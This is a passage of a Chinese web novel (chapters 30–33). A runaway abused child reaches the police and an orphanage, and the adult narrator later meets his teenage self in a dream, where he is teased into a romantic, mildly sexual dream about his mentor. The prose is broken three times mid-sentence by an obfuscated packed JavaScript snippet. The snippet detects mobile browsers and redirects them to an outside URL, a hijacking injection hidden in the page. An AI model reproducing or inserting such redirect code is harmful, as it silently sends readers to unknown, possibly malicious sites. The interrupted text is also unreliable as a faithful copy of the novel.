凌晨四点,家里的三个人都睡着了。小孩悄悄地走到了爸爸的房门前面。他走路没有声音,像只老鼠,他抓住门把手,稍稍用力,缓慢地跨过门锁会发出声响的特定的角度,之后他把门拧开,钻了进去。爸爸睡得很深,酒精让他睡得近乎昏迷。小孩走到墙边的挂钩前,伸手探进墙上挂着的长裤口袋。他摸出了一把纸币,在黑暗中靠触觉大致判断了一下数量,之后转身离开,把门关上。 走之前他看了一眼妈妈和弟弟的房间。因为妈妈睡得很浅,他只是站在原地,看了一眼,之后就转身走了。走到门口的时候他想回头,但又想起了刚刚被他忍住的拥抱,于是他没有回头。 走到码头的时候,天已经快亮了。码头上没有人认识他,因为他从来没离开过这个地方。他踮起脚,和窗口里的售票员说要一张儿童票,一张成人票。售票员瞄了他一眼,只当他是个没见过世面看什么都新奇,连买票都要抢着帮家人买的小孩,她没多问,从窗口里递给他两张票。上船的时候他故意紧跟着一个提着大包小包,无暇顾及周围的中年男人,检票员看了看前面的男人,又看了看后面低着头跟着他一路小跑的小孩,也没多问,就这么放他上了船。 船离港的时候,小孩回头看了一眼。在过去的十年时间里,他无数次凝望过这片浩瀚的海。学校里的老师和镇里的成年人会告诉他,海的那边是城市,是各色各样的汽车,是混着汽油柴油味和烟尘的空气。他在作文里用“远方”,用“未来”,用“希望”,去指代海那边的世界。他多次想象过海那边的世界,但此时的他,看着自己生长的地方离他越来越远,他对海的彼岸没有期待。世界都那样,每个人都陌生,每个人都自私,每个人都残忍。他只在乎这片海本身,它是自由,它就是自由,海,一个充满未知,充满可能的平行世界。船越走越远,码头越变越矮,镇子成了一片平坦的土地,有的地方浅黄色,有的地方浅绿色,镇子里的公园是白色的,因为地上铺了平整的石砖。他什么都看不见了,除了公园里的人鱼塑像。那条诡异地弯折着的人鱼,几十年如一日地伫立在公园的高台之上。他希望自己从这一刻开始,就遗忘这个镇子里的一切。但人鱼出现在他的视线里。 30. 海那边的世界 人鱼。人鱼。 一段记忆飞快地在我的脑海里闪回,但它是空白的。我关于过去的好多记忆都是这样的空白,记忆生硬地被剪断,像个被抽掉所有相片的空相册。从前我把这样的空白归因于我奇差无比的记性,但现在的我能分辨出自然遗忘和人为遗忘之间的细微差别。我几乎在那一瞬间就意识到,人鱼塑像所联带的记忆,是另一段上锁的秘密。 船很快驶入了更开阔的海面,我回头看,已辨不清远处白色的公园和青铜色的人鱼塑像。海很大,深海里可见不到沙滩上白色的浪头,它看起来不过是一片轻微地上下涌动着的蓝色,但船已经晃得让人难以站稳。我还在小孩的感官里看海,差点没躲开他突然的一波剧烈反胃。我想起我上次去海岛旅游,坐的船和现在这艘差不多大,船上每个小孩都在吐,那声音听得我也要作呕。现在我算是理解他们了,他们人小胃也小,一点海浪都能引起他们胃里巨大的动荡。小孩刚吃进去的馒头,现在被均匀地摇成了面糊。钱是要留着之后用的,他才不舍得把馒头吐出来,他左手一个食指右手一个食指,把两边人呕吐的声音都堵住。幸好海风够大,把空气里口水和胃酸的味道都吹走了,不过他还是小口小口地呼吸,努力不让自己过分敏锐的嗅觉生效。 因为从来没出过远门,小孩对距离没有概念,只是感觉到人在海上晃了好久好久,久到再一次踏上陆地时,要刻意回忆一下,才能记起如何走路。小孩跟外出打工的人挤上同一辆改装的三轮车,车发动起来的时候,加上去的铁皮车盖会随着引擎发出牙关打颤一样的嘎吱嘎吱声。他被人群挤在车厢的一角,车摇摇晃晃地驶上马路,他脸埋在铁皮边上往外看。从码头往城市走,楼房渐渐密集,渐渐升高,外面是宽阔的平坦的水泥路,低头看,每一寸路面的灰色都是一样的,这看起来是一条很标准,很规范,很讲道理的马路。三轮车几乎已经开到它所能达到的最高速,但因为这里远离市中心,旁边的车都开的飞快,嗖,过去一辆,嗖,又过去一辆。慢慢地车变得多了,车也慢下来,拥堵的路面传来此起彼伏的喇叭声,吵得人脑袋跳跳疼。三轮车司机刹车停下,回头叫醒在车上睡过去的疲惫乘客:“喂,客运站到了!” 小孩跟着大流,坐上到市中心的公共汽车。胸口变形的骨头越来越疼,它像一个牛角,压着他的肺和心包,心脏每跳一次,属于内脏的,说不清道不明的古怪痛感就要来一次。他几乎关闭了自己的所有感官,才得以平稳地从码头坐车,来到市中心。他不知道警察局在哪里,只能凭感觉推测。海岛上的村委派出所,镇子上的民政局警察局镇政府,基本都会聚集在某个区域。他就从车上往外看,见到外面频繁地出现中等高度,设计板正,中间挂着国徽前面竖着国旗的建筑物,他想大概是要到了。于是他下了车。 他的推测很正确,没走多久,他就看到了警察局。但那好像是市里的公安局,建筑物和大门看起来都很威严,门口是执勤的武警。他也不知道他在害怕什么,他觉得自己虽然没有罪,但算是“来历不明”,思前想后,他跑到门口,问里面的人,附近的派出所在哪里。里面的人问他是不是跟爸妈走失了,一听到“爸妈”两个字,身上那些关闭的痛觉感官瞬间被唤醒,他疼得眼前一黑,几乎要跪在地上。幸好他反应很快,他把身上的思维收回,全团在脑子里。没有了身体上的感觉,脑子就变得分外清醒。他撒谎撒得坦坦荡荡:是的我和爸妈走失了,爸爸的朋友在派出所工作,我去找他。里面的人摸摸他的头,之后指他往左边的路口走。 辖区派出所离公安局不远,小孩很快抵达了那里。里面两个值勤民警,一男一女,看见来了个小孩,都站了起身。 小孩说他被拐卖了,他跑了出来,他要去福利院。 他表现得过于镇定,言词清晰,态度坚定,不像是受过什么巨大惊吓的样子,甚至镇静得不像是个小孩。女民警在他身边蹲下,用温和的语气试探着问道:“小朋友,你是不是和家里人吵架了呀?” 小孩明白过来对方是在怀疑他离家出走,没饭吃了想找个借口让警察给口饭吃。他回复道:“我是被他们卖掉的,现在我逃出来了,我要去福利院。” “……”两个警察看看彼此,女警又试着哄道,“小朋友,你进里面来坐下,跟我们详细说说,到底是怎么回事?” 小孩不明白为什么人们看见小孩,就觉得这一切是幼稚的家务事。之前他挨打,从城里来支教的老师被他身上的伤痕吓到了,找了村委来调解。老师很善良,她不知道在这落后的鬼地方,打小孩打老婆就跟吃饭一样寻常。村委被她磨不过,派人过来说教,他们前脚刚走,小孩晚上就又挨了一顿毒打。 他猜不到打小孩在市里算不算大事,但他赌不起。千辛万苦才逃出来,要是又被好言相劝然后送回去,这辈子就算是彻底完了。 他退后两步,站在两人面前,之后把上衣脱掉。 他瘦得几乎只剩骨头,胸廓上的凹陷分外明显,像个凿出来的深坑。而在深坑之外,皮肤上遍布擦伤和淤青的痕迹,家里人用衣架打他,细长的伤痕新的压旧的,到处都是,他身上几乎就找不出来几寸完好的皮肤。 他立在那里,对两个民警说:“让我回去就是让我死。我要去福利院。” 后面的记忆很混乱,我大概是晕倒了。嗯,我回忆一下,好像是两个警察盯着我身上的伤痕,男的愣住了,眉头深锁,女的看起来三四十岁,也许家里也有个和我差不多大的小孩,她的反应要更大一些,我留意到她眼里闪过一丝作为警察不该有的惊愕,虽然这种惊愕很快就被她藏好了,但她的眼神因此变得柔软下来,她在我面前蹲下,看着我。我不小心和她对上目光,很少有人用这样的目光看我,她太温柔了,眼里全是怜爱,这是我第一次见她,她表现得像是认识我,像是我的半个妈妈一样。她要摸我头的时候我缩了一下,因为我现在很脏,身上臭烘烘的,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135570|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕弄脏她的手。但她一点没察觉我的踟蹰,她的手就这样放了上来。她让我把衣服穿上,还问我冷不冷,问我饿不饿,问我疼不疼。头上温热的抚摸让我放松了警惕,那时候的我毕竟还不是后来的筑梦师,意识抽离的能力还不成熟,我开口回答她:“很疼……”开口的那一瞬间,眼泪滚了下来,艰难建立起的堡垒轰然倒塌,剧烈的痛感从胸口冲上大脑,我咚地一声就倒在地上,晕了过去。 我病得不轻,连记忆都错乱,我只记得我在医院里躺了一些时候,住在我旁边的是一个学轮滑摔断了腿的小孩,他跟我年纪差不多大,爸妈非常疼爱,每天探视时间,他那个床都很吵,全是吃东西聊天的声音,烦得很。来看我的人我都不认识,福利院的人来过,查贩卖人口的警察来过,来得最多的是女民警,我那时候甚至没问她叫什么,每次都只会阿姨阿姨地喊她。她怕隔壁床小孩一家其乐融融的样子会伤害到我,于是每天下班回家之前,都来我这里陪陪我,给我带点零食。我很想告诉她,我一点也不羡慕他们,虽然我才十岁,但我已经过了会被伤害的年纪,我早就习惯了,认命了。我还想告诉她,她对我太好了,她每天这样来看我,我不知道要怎样才能报答她,我感觉我像借了她一笔一辈子都还不过来的巨款,并且每天这笔债务都在蹭蹭地变大,我简直不知道该怎么办才好。我住的是骨科病房,一个屋里放了六张床,除了我和隔壁床两个小孩,其他都是成年人。他们在屋里看电视剧,电视剧里的人物有点不可理喻,动不动就说对方恩情太大,要以身相许,要肝脑涂地。警察阿姨让我第一次体会到什么叫恩情无可偿还,想把自己的命都给对方。某个周末,她把自己熬的红豆莲子百合糖水带来给我喝,我一辈子没喝过这样的东西,听说是她亲手做的,我忽然哭了。这一哭简直止不住,怎么哄都哄不好,越哄越哭。她也被我吓得手足无措,险些要跟我一起哭。我像下了什么莫大的决心,我那时候把“肝脑涂地”和“以身相许”当成同样的意思,我想她是个警察,工作比较危险,我说阿姨,你对我太好了,我要以身相许,以后我也当警察,我跟着你,有什么危险的任务,我就挡在你前面。她听得笑起来,笑着笑着眼睛红了,她摸摸我的头,说,以身相许不是这个意思,你下次别乱说,别人笑话你。我说好吧,那我不以身相许了,我把我的钱都给你,我要是死了,遗产就给你。她说你这么小,等你死了,我早就死了。我说那我的遗产留给你的孩子,你告诉我他们叫什么名字,我把他们写在我的遗嘱里。她说你把钱留给你自己的老婆孩子吧。我对爱没有任何概念,对家庭的理解来自于爸妈,我不想找个女人回家,然后我们天天吵架,我天天打她,某天生了孩子,之后我和她一起天天打小孩,骂小孩,这样很没意思,我一点也不想这样。我说我没有老婆孩子,我不会有老婆孩子,没有人比你对我更好了,我要把遗产给你们。她好像忽然反应过来我是认真的,之后不禁不由地也跟着我一起痛哭。 31. 嫉妒自己 出院之后,我被送到了福利院里,警察阿姨来送我,我跟她道别,她答应我说,她有空就来看我。这样的日子大概持续了两三周,我终于能安全地生活,不用担惊受怕,不用因为吃饭的时候不小心把一口饭掉在地上,就被抓到墙角打一顿。我能安静地坐在房间里看书,再也不用忽然间被揪着衣领拉出去,把这个房间或者那个房间打扫干净。我觉得我太幸福了,市里的义工周末会来探望,我觉得他们简直多此一举,没有地方比这里更幸福了,我一点也不需要被探望。警察阿姨偶尔会来,每次她都给我做红豆莲子百合糖水,自从每顿饭都能按时吃上之后,我的胃病好了,胃口比以前大多了。她用保温饭桶提过来一桶,我一个人就能全喝完。我其实是个很会说谎的小孩,阿姨虽然是个警察,但她对我不抱戒心,我每次都假装喝不完,给她匀一碗,留她陪我一起喝。 这段记忆结束在一个寻常的周五,那天我和平时一样,跟着其他小孩一起起床,换衣服,洗漱,吃早饭。刚吃过早饭,我们这些大一点的孩子帮着收拾桌子,就在这时候,外面有人来了。我没回头,但我能根据周围的动静,大致判断一下来的是什么人。市里义工一般周末来,警察阿姨下班之后来,大早上来的,只有来视察的领导。每次领导要来,前一天福利院就会组织一次大扫除,而且他们来的时候阵仗很大,其他人要去迎接,像现在这样让我们几个大孩子帮忙收东西搞卫生的事情,绝对不会发生。 我由是判断今天来的是个稀客,擦桌子的间隙里,我偷摸回头看了一眼。 站在门口的是一个中等身材的男人,男人看起来五十岁上下,长得没有任何突出的特征,基本是放在人群里认不出来的那种普通大叔。但他站得很直,并不像福利院里和他差不多年纪的领导那样,手臂肌肉松弛,肚子垮垮的,脂肪有点多。我看不出来他是什么人,但我能用我的直觉比对一下——和他最不相似的是我欺软怕硬的酒鬼父亲,和他有点像的是市里的领导,警察局的民警,食堂里负责炒菜手臂肌肉很发达的厨师,和他很相似的……没有人和他很相似。 我假装擦桌子,偷听他和门口的老师说话。 他好像在找人,离得太远,我听不清他们的谈话内容。我悄悄地观察着他们,直到门口的老师冷不防往我这边看了一眼,之后中年男人也跟着她,朝我这里看了过来。 他的脸出现在我余光能瞥见的一小块视野里。 是丁书记。 在我看到他,并且认出他的那一刻,记忆播放到最后一帧。我毫无征兆地从记忆里出来,我站在歪掉的门框外面,看着门框发愣。它变小了。它变矮了。我低头看看自己的手。我回来了。二十六岁的我回来了。我在自己的身体里,而十四岁的我站在我旁边,此前一直显得很高的他,现在不过到我鼻尖的高度。 不知是因为我不再是那个阴暗干瘦的脏小孩形象,还是因为现在的我和他共享着同一段痛苦的经历,他看我的眼神变了,他变得友好了不少,至少没有再偷摸躲到我背后踹我一脚的意思。 他微微仰头看我,竟然邀请我:“走走?” 学校被他炸成了废墟,几乎没有能走的地方,我们在废墟的边缘艰难地跋涉,他走在我前面,我跟在他后面,我觉得这时候我应该跟少年时的我自己聊聊,但路实在是太难走了,我一直低着头,找可以落脚的地方。我实在忍不住吐槽:“你能修一下这里吗?” 他站在斜插在地的钢筋上,像只水鸟般回头看我。“这得靠你,”他说,“我的法力远远没到能修复建筑物的高度。拜托你回去好好练习,不然我得一直住在这么个烂尾工地一样的地方。” 我心想你小子挺会使唤人,学校是你炸的,你让我来修?炸学校一时爽,没地方睡觉不是你活该吗? 我们好不容易翻过倒塌的教学楼,走到原本放秋千的地方。秋千被拆掉了,取而代之的是一张木质长椅。我和少年时的我在长椅上坐下,隔着铁栅栏,能看到远处的大海。海风徐徐吹来,虽然我记忆里的童年并不美好,但故乡到底是故乡,闻到熟悉的海水味,我自然而然地就放松了下来。 “我以为你不会来了。”他忽然说。 “什么意思?”我问。 “这段记忆很灰暗,不是吗?”他看向我,“你第一次出现的时候,其实我有点惊喜。虽然你以前费了不少脑力建了这个学校,但我不觉得你会回来看。我以为我会一直被关在这里,一个人,和你那群智商很低不会说话的NPC们一起,直到你死。” “你的话不合逻辑,建了不就是为了回来看的吗?”我说。 “但是为什么要建?”他追问,“建一个这样的空间,分裂出一片意识来值守,这可是个大工程。你会买一个漂亮的大相册,把你最讨厌的照片放到里面去吗?” ……他的话很有道理。这么痛苦的记忆,以前的我为什么还要特意留下,并且设置这么严密的关卡,去保护它? “你知道吗,当我拥有我自己的意识,当我能思考,当我看到里面的内容时,我挺害怕的。”他轻轻笑了笑,说,“他要是往里面放自己的婚礼,放自己孩子出生时的照片,我能理解,他也许是怕自己八十岁九十岁老年痴呆了,会把这些珍贵的记忆都忘掉。但他往里面放这种东西……他走的时候很匆忙,我看着他走,有一瞬间我觉得他要去死了,或者他预料到自己思考着的意识会被毁灭,他要把组成他这个人的核心记忆藏起来,好让以后的自己,或者哪个人,从他的大脑里挖出来这些碎片,从而将他复活。” 这段童年回忆虽然痛苦,但它确实是我人格里很重要的一部分。虽然我目前还没有看到其他碎片,但它已经可以解释我性格里一些不可理喻的缺陷。这段记忆把“人世间是没有爱的”这个概念深深地嵌进了我的大脑,我处于一种持续的交易状态中,我要衡量自己是否付出了足够多的东西,才敢相信我得到的好处是真实的,别人任何超额的示好,我都会怀疑对方别有所图。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140718|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你说他走得很匆忙?他留下的其他记忆,你能看到吗?”我问他。 他摇摇头:“他把记忆分散地藏在了不同的地方,而且每个地方都有一个特定的触发点。嗯,你可能对筑梦师的大脑还没有什么概念。” 他伸出手,沿着远处的海平面划了一条虚拟的线。“他的记忆就像这片大海,我在这个岛上,”他指了指左边的一个小岛,之后又指向右边的另一个小岛,“下一段记忆可能在这里。”他的指头往下,指向我们看不见的海底深处,“可能还有一些记忆藏在海底,钉在海底的山上,或者有的在漂浮,你还得去抓它。” 我的脑子可真好用啊,它怎么能好用成这样。我叹一口气,往长椅上瘫倒。我就像忽然收到通知,说我某个从未谋面的叔伯兄弟是个富翁,他给我留了很多钱,但我要很艰难很艰难,才能拿到这笔钱。我是挺羡慕他的好脑子的,也很想很想,很想脱离我这个普通人的灵魂,重新变回像他那样的天才筑梦师。但这未免太累了。烦死了。到底为什么呢,我原本活得好好的,为什么我要把他找回来呢?我有点忘了自己的初心,我一开始是想知道自己是谁,在我身上又发生过什么,但现在呢?我对找回他这件事的执念变得更深了,似乎不仅仅是找回他的记忆,而是……找回他。 你可不是普通人,你以前是个很优秀的筑梦师。 他是很优秀,但也很危险。 现在跟你说不明白,等你想起来吧,你以前一定知道。 我以前。我以前。我以前这样这样,我以前那样那样。那我现在呢? 我现在的使命就是找回他,找他,我好奇他,珩也好奇他。她说过好多次我以前是个优秀的筑梦师,我以前是个天才,百年一遇,千年一遇,人类中难得见一个的超能力者,我以前肯定是个顶尖的特工,身价极高的重要人物……我以前,我以前,那不是我,那是他。我一点也想不起来他的事,他和我在物理上是同一个人,但他不是我,我不是他。一开始珩说我以前怎样,我反而还觉得很光荣,很骄傲,但慢慢地,不知道从什么时候开始,我听到这些话会有点说不明白的难受。我不乐意她在我面前说他怎样怎样好,不乐意看见她在提及他时眼里出现一些欣赏的意思。真奇怪,我好像有点嫉妒我自己。 “喂,走神啦?” 少年的我冷不防喊我,把我从混乱的思绪中惊醒。 他侧过脸来看我,大概以前的我在思索的时候会有不自觉的眯眼动作,他的眼睛也微微眯起,真讨厌啊,珩在思索的时候也会有类似的微表情。 “你在想什么?让我猜猜,她?” “她?” “别装傻了,我们是同一个人,这里就我和你,你没必要骗我。” 他靠近我,那一刻他的表情和行动都十分像一个刚进入青春期,对世界上所有人的八卦都充满热情的臭初中生。 “你很在意她,对吗?”他非常直接地追问,“你喜欢她?” 32. 假如她是你的恋人 第八章 臭初中生,我烦他真是有缘由的,十四岁到十八岁的人类,一整年都在发情期,什么事情都往喜欢上面扯!我没好气地回答他:“我在意她是因为她是我的朋友,是我的师父,我在意她是因为她帮了我很多忙,我怎么可能喜欢她?” “你在回避我的问题,”他纠缠不休,“我问你的问题是‘你喜不喜欢她’,你回答我的是‘你为什么不能喜欢她’。我不管她是你的谁,我就问你喜不喜欢她,”他悄悄往我这边挪了点,“你在做梦,这里只有我和你,没有道德,没有世俗。我再问你一次,你就问问自己的内心,用直觉回答我,你喜不喜欢她?” 他提到“内心”,他提到“直觉”,我自然而然地把我的理智关闭了一秒,我的内心我的直觉将珩的形象推到我的眼前。我忽而又回到那个她把我从噩梦里拉回来的清晨,我打开家门,她就站在我的面前,那时候我真觉得像做梦一样,甚至我做梦都不敢想她会赶来我家找我。那是喜欢吗?我不知道。在我区区四年的记忆里,没有喜欢别人的经验。我只能说那一刻我的心很动荡,一千根一万根不安分的触角要往外长,我不得不集中我所有的注意力,铸成一个密不透风的壳,把所有不合理的冲动紧紧箍住。但凡我的防御缺失一角,我都会马上失控,扑上去将她抱住。 我真是一个非常容易被说服的人,等我反应过来他在引导我的时候,我已经在他的逻辑里思考了。见我不说话,他仿佛发现新大陆,他兴奋地大喊:“你在犹豫!” 我想揍他,真是个狡猾的小鬼,我怎么如此轻易地就落入他的圈套。我反驳道:“我在思考!” 他还大叫:“你在思考!” “……” 他靠在椅背上,好整以暇地看我,一副轻易把我看穿了的得意相。狡猾的魂器,狡猾的主人分裂出狡猾的魂器,我不想跟他再在这里多做纠缠,我从长椅上起身,准备发出一个我要结束梦境的指令,呼唤现实中的珩把我拉出去。我刚闭上眼,准备收摄心神,那小子就抓住了我的手腕。我睁开眼,只见他双手抓住我的手腕,他的手掌把我手腕上的绿色手绳完全盖住,他肯定挪用了一部分以前的我设下的防御系统,我和珩之间的通讯受到了些许干扰,我有一瞬间找不到呼叫她的频段。 “你这就要走了?没有她,你很难重新找到我这里。”他的语气变得很诚恳,不得不说他长着一张很能迷惑人的脸,他看起来很乖,甚至有点好欺负,让人不会轻易怀疑他的动机。我明明长着一张和他一模一样的脸,我但凡有他百分之一的心眼,我都不至于现在还当个混吃等死的普通中学老师。 “把你推到陷阱里是我的设定,但我是你的一部分,是十四岁的你,我可不想你想起我的时候,只记得那个冰冷的密室。”见我踌躇了一秒,他眼里的恳求变成了引诱,“在你走之前,我把我的能力给你?” “什么能力?”我问。 “辨明内心,”他说,“我就拿‘你喜不喜欢她’做个示范?” 他略施小计,一步一步引诱我掉进他的圈套,幸好他是我自己,以前的我对于活着有如此强烈的执念,我相信他和他的魂器都没有自毁倾向。他可能作弄我,但不会要我的命,死不掉就行,这是我的人生信条。说这些已经有点晚了,我已经完全上当,我不知道什么时候又坐下了,这时候的我,正听从他的指挥,放松地闭上眼,深呼吸,开始冥想。 我在黑暗中听见他的声音:“其实我没什么能力的,我刚刚为了不让你走,骗你了。” “什么?” “你别着急睁眼!这招虽然简单,但特别有用,你只需要假设一个答案,然后体验一下这个假设的后果,你就知道你真正想要的是什么了。比如你想知道你喜不喜欢她,你就假设一下,她是你的女朋友——” 他让我做一个“假设”,其实只是在等我给一个指令。当“珩是我的恋人”这句话出现在我的脑子里时,他就把我拽进了一段虚构的梦境里。那是两个月前,我到附近医院复印病历,发现自己四年前的脑震荡住院是个虚构情节,之后慌慌张张去社区活动中心找珩的画面。原来我和珩不过认识了两个月,这两个月里发生的事情太多了,我几乎以为我和她已经认识了很久很久。 十四岁的我法力果然一般,珩说“把自己的记忆做成梦境是大忌”,他能力有限,态度懒散,这人一懒起来才不管规不规则的,他把梦境直接建在我的记忆上,因为我那时候的记忆力还很差,记忆里的画面不太清楚,我想不起桌上的剃须刀是正在充电还是充好电了,它处于充电和不充电的叠加态,所以它此时在插座和架子上快速地飞来飞去。珩正在我的脑子里以十六倍的速度回看我的记忆,正放映到我在浴室里脱衣服的片段,珩猛地按下暂停,仓皇地从我的眼睛里跳出来。她落在地上,我全身上下只剩了条脱一半的内裤,我慌忙要把裤子拉起来。这个梦的质感真的好差,所有我记不清细节的东西都在摇摆,灯很暗,架子上的衣服一时是卡通图案,一时是品牌logo。它太像一个粗制滥造的春梦了,画面很低清,浴室里很闷热,镜子上有水雾。我注意力的范围很窄,镜头里的珩和我面对面站着,她细腻而似有珠光的皮肤看起来灰灰的,不像平时那么鲜活。那时候和她不熟,莫名其妙几乎脱光了给她看,我只觉得抱歉。现在跟她熟了,虽然明知道眼前的是个幻影,我还是觉得好尴尬。 那天她眼里的嫌弃,我至今还记得很清楚。我都不敢看她,赶紧要把内裤穿好。不料这时候什么冰冰的东西落在我的双手上,我的目光只从我自己的手上往上抬了十公分,我就看见了她。她双手按在我的手上,在我反应过来接下来要发生什么之前,她把我的内裤脱掉,并且蹲了下去。 我几乎是吓醒的。谢谢臭初中生,这比被灰熊人贩子到处找,被窝里横老男人踹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176406|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨折还要吓人得多。可以预见,接下来的一段时间里,珩把我裤子脱掉的画面将会反复出现在我的噩梦中。 我一醒来就踹了坐在隔壁的臭初中生一脚,他灵活地闪开,还在那里笑。 “谁教你的?”我恶狠狠地质问他,“以前我是这么教你的?” 他一点也没被我吓着,见我生气,他看起来更高兴了,我听他的话真是中了邪。“你今年二十六岁了吧?不是,你这么纯情吗?”他还敢笑我。 本四岁小孩的内心现在真是受到了重创,我为什么会信他?我为什么会信他?我就算真喜欢她,也不会想上来就这种场面吧?现在我简直不知道怎么回去面对她,这段记忆我还得找个地方藏好,她要误以为这是我自己的想法,那还不得直接断绝来往。我气得不轻,连骂都不想骂他,我站起身,深呼吸,准备要走。 这小子又一把拉住了我的手。他双手扯着我,巴巴地抬头看我。“对不起我错了,你走了这里又只剩下我和弱智NPC了。”他在装可怜上很有造诣,当然这种造诣有可能源自被虐待和不得不讨好别人以求生存的悲惨童年。一想到我们共同的过去,我又该死地心软了。他马上捕捉到我眼神的变化,眼睛霎时亮起来,他又开始引诱我:“我按照你的喜好更新了一下,你要不要再试试?” …… 我要在古代志怪小说里,必定就是被狐狸精轻易哄骗然后送命的炮灰配角。我真是一点意志力都没有,听到他这么说,我这张死嘴又回了一个“好”。 时间回到今天晚上。我和珩在车里,我给她扣安全带。我的记忆力明显比两个月前好多了,梦境画质大幅提升。她刚被弹回去的安全带吓了一跳,此时正端正地贴在椅背上坐着,等我给她扣安全带。其实我那时候已经觉得有些说不清的感觉,我的理智让我赶紧扣,但我的注意力在乱跑,我在看她的皮肤,看她的睫毛,看停车场边上种着的老榕树在晚风中颤抖,而路灯光在我的衬衣领子和领子下她珠光闪闪的皮肤上跳跃。我疯了,我一定是疯了,我在回放的记忆里肆无忌惮地看她,观察她,直到我如梦初醒地想起来安全带,之后抬起目光。 她在看我。她一直在看我,在看我看她。她的目光比现实中要绵密得多,要知道平时她注视我,那可是下一秒准备发动攻击骂我的意思。但她现在没有,她没说话,只是看我,不排斥我看她,并且默许我继续看。我不由得也看她,这么近的对视对于我来说有点太直接了,我下意识想躲,但她在我躲开之前闭上了眼。那一刻好多记忆都涌上来——我想起我从沙发床上醒来,那时候她也这样闭着眼,她蜷成一团,像窝成一盘的猫,路迢说猫科动物是很警惕的,在你面前睡觉,是信任你的表现,等它醒来,你就可以放心地摸摸它的头,它会舒服地眯眯眼,然后用耳朵蹭你的手掌。梦里的神经冲动传递比现实中快,这般想着,我的手已经不由自主地放到了她的头顶。 33. 春梦 她的绿色头发很顺滑,但不太软,手感有点支棱,需要手上稍稍用力,才能感受到手掌下她的头颅。我有好多冲动在冒头,在乱长,我好像有点想摸摸她的脸,想俯身靠近她,用鼻尖去碰她的鼻尖。但这些显然不可以做的事情被我的大脑拦住了,尽管在梦里,我还是只能这样看着她。 …… 场景又回到海边的长椅上。我人尚在恍惚之中,而臭初中生在我旁边急得大喊。 “你行不行啊!你行不行啊!”他在我旁边跳脚,“你在做梦!你在梦里做的事怎么跟现实里一样啊!你能不能勇敢点!” 我想说我已经勇敢多了,这和我匆忙把人家安全带扣上之后就像只鹌鹑一样沉默开车一点不敢动弹的现实相比,已经可以算是人类的一大步。我的心还在怦怦跳,它跳得好夸张。这不是受惊吓或者运动时引发的肾上腺素飙升,也许肾上腺素飙升了,但……不一样。不一样,不一样,完蛋了,不一样。我坦荡的内心在我意识到“这不一样”之后突然变得畏缩,我不耐烦地起身,跟臭初中生说:“我都说不喜欢,不喜欢不就这样吗?” “你真的不喜欢?”他一步来到我面前,眼神和语气都在追问。 “……” “你要是不喜欢,第一个梦你就不会拒绝她,你明知道那是梦,”他往长椅的椅背上一靠,看向围栏那边蓝色的大海,“那只是个幻影,不是吗?” 我不说话了。我也看海。它日复一日无休止地在我大脑的某个角落里翻涌,也许它是一小块和我共同呼吸的生命,是无穷不循环的π,也许它和人鱼电影院老板的海浪声一样,只是过去的我设置下的一个重复片段。我喜欢她吗?我没想过这个问题。现在这个我活过的年头还是太少,还没来得及去摸索自己的喜欢是怎样的。臭初中生说得对啊,我为什么会拒绝一个珩形状的幻影呢。我忽然想起我学校里的真初中生,我虽然没有恋爱的经验,但我能一眼看出谁和谁是情侣,谁和谁在暧昧,谁又暗恋谁。问心无愧的人都坦荡荡,心虚的人才瞻前顾后,表演节目扮夫妻,上去的从来都是八竿子打不着,编绯闻都嫌太扯的人。如果事情百分之百不可能成真,又何必去顾忌。 我和他正无言地看着大海发呆,忽然间地面抖了一下,好像是我们所在的时空被谁拿起来晃了晃。 他的警惕多疑一如他的制造者,他腾地坐直,手紧紧抓着一边长椅扶手,生怕被甩到海里。“什么动静?”他直起身,四处张望。 画面又晃了一下,同时一阵低沉的碰撞声从远处传来,仿佛是哪里打了个闷雷。雷声越来越急,周围从晃变成了均匀的震荡。看来一个小时到了,珩现在正在现实里通过物理手段把我叫醒。 我无奈地站起身:“我该走了。” 初中生被晃得要吐,早忘了刚才挽留我的说辞,他的形象在摇晃的场景里变得很模糊。“快走,她是在摇你的脑袋吗?你快出去,我要吐了——” 没有珩在我的脑子里推我,我的醒觉变得很缓慢。眼前的大海慢慢地褪色,变得透明,环境终于停止了摇晃,初中生坐在长椅上看我,他一手捂着嘴,另一手朝我挥了挥,算是道别。他的影像也渐渐变淡,我退回丛林,退回电梯里。电梯开始往上升,我抬头看,亮光还在很上面很上面的地方。 梦境在外面掠过,从荒谬的杂乱的深层梦,渐渐过渡到和生活相关的浅层梦。大概是刚才浴室和车里的暧昧氛围影响,在平时放人有三急但找不到厕所的最浅层梦境里,我梦见了珩。 